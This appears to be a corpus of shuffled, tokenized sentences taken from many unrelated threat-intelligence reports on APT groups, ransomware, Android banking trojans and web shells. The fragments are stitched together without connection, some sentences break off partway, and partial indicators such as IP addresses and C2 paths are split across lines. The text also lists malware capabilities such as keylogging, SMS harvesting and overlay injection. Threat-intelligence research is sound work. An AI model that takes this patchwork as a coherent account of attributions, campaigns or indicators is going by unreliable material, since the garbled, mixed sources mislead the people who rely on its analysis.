Android documentation describes that function as " a global action . This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files . Rancor : Cyber Espionage Group Uses New Custom Malware to Attack Southeast Asia . The ransom note is also used to generate a message in the form of the background wallpaper typically located at “ C:/Users / Public / bg.jpg ” .


Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others . Based on information collected in the course of this research , the targets and victims of Infy 's campaigns have continued to be strongly aligned with Iran 's " soft war " agenda , internal security policies , and regional adversaries of the hardline establishment of the Islamic Republic of Iran .


Cerberus embeds the following set of features that allows itself to remain under the radar and successfully perform attacks : Overlaying : Dynamic ( Local injects obtained from C2 ) Keylogging SMS harvesting : SMS listing SMS harvesting : SMS forwarding Device info collection Contact list collection Application listing Location collection Overlaying : Targets list update SMS : Sending Calls : USSD request making Calls : Call forwarding Remote actions : App installing Remote actions : App starting Remote actions : App removal Remote actions : Showing arbitrary web pages Remote actions : Screen-locking Although the SectorJ04 group mainly targeted countries located in Europe or North America , it has recently expanded its field of activities to countries located in Southeast Asia and East Asia . Secureworks® incident responders and Counter Threat Unit™ ( CTU ) researchers investigated activities associated with the BRONZE BUTLER ( also known as Tick ) threat group , which likely originates in the People .


In comparison , even the earliest known GeminiDuke samples encrypted any strings that might have given away the malware ’s true nature .


It uses “ 185.51.201 [ . However , the final payload is something that welivesecurity have never seen associated with Buhtrap . ScarCruft tools : C781f5fad9b47232b3606e4d374900cd Installer .


We named this malware " WolfRAT '' due to strong links between this malware ( and the command and control ( C2 ) infrastructure ) and Wolf Research , an infamous organization that developed interception and espionage-based malware and was publicly described by CSIS during Virus Bulletin 2018 . In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD . The emails are often tailored for specific victims and contain malicious attachments that are almost always “ weaponized ” .PDF files with known exploits that drop malware executables onto targeted systems . This will essentially create a client - side WAF that can enforce a policy on where specific data field are allowed to be transmitted .


] com/gate_cb8a5aea1ab302f0_c offline 31.214.157 [ . These could be tools to circumvent internet censorship , such as Softether VPN 4.12” and psiphon3” , or Microsoft Office activators” . Wapack labs also observed a similar sample targeting Japan in November .


This certificate configuration is ignored by the malware .


We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper . As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .


Most components are obfuscated in some way , whether it be simple XOR with a single-byte key , or through the use of ZIP or Zlib compression wrapped with RC4 encryption . Since 2017 , APT41's activities have included a series of supply chain compromises . We assess that APT28 is most likely sponsored by the Russian government .


Criminals are increasingly using obfuscation , the deliberate act of creating complex code to make it difficult to analyze . LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data . The difference between the original and patched hpqhvind.exe . Paired with KillNet ’s reported compromise and leak of North Atlantic Treaty Organization ( NATO ) documents , this sudden increase in capability could indicate significant investment from more sophisticated actors , particularly when measured against KillNet ’s capabilities since the collective ’s inception in late 2021 .


New malware is often introduced to underground communities by being promoted and sold or offered as a giveaway . More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service (contact intelreports@kaspersky.com) . As the Rocket Kitten group 's behavior was well characterized in previous publications ( see the recent report from Trend Micro and ClearSky ) .


PLATINUM has used several zero-day exploits against their victims . Execute a command through exploits for CVE-2017-11882 .


Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection . Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .


To successfully interact with the web shell , a threat actor sent HTTP requests that included the "|" parameter .


In one sample , no SMS-related code appears in the DEX file , but there is a native method registered . Over the summer they compromised several sites , including a well-known Uyghur website written in that native language . End Terminate ZxShell DLL . In terms of the fallout , it ’s tough to overstate the havoc Cl0p was able to wreck thanks to the zero - day .


The Flash exploit is served from unobfuscated HTML/JS .


Dynamic code loading makes it impossible to state what kind of PHA it was . This newly observed activity uses a series of redirections and fileless , malicious implementations of legitimate tools to gain access to the targeted systems . This variant sends an HTTP request to a legitimate Japanese website using a malformed User-Agent string , as shown in Figure 2 . • New , unexpected compiled ASPX files in the directory • Reconnaissance , vulnerability - testing requests to the following resources from an external IP address : In our investigations to date , the web shells placed on Exchange Servers have been named differently in each intrusion , and thus the file name alone is not a high - fidelity indicator of compromise .


Encrypt the collected data and send it to the attackers over the HTTP protocol .


Based on this information it can be concluded that espionage actors used this individual ’s modified version of njRAT in this cyber attack .


For example , in addition to compromising high value domain controllers and security servers , the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business , and are thus less likely to draw the attention of system administrators . There is often a singular focus from the security community on ICS malware largely due to its novel nature and the fact that there are very few examples found in the wild .


This class is based on public code belonging to the package praeda.muzikmekan , which can be found here among other places . registrant information points to activity possibly as early as 2011 . However , the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12 . Emotet has used HTTP over ports such as 20 , 22 , 7080 , and 50000 , in addition to using ports commonly associated with HTTP / S.[13 ] FIN7 has used port - protocol mismatches on ports such as 53 , 80 , 443 , and 8080 during C2.[14 ]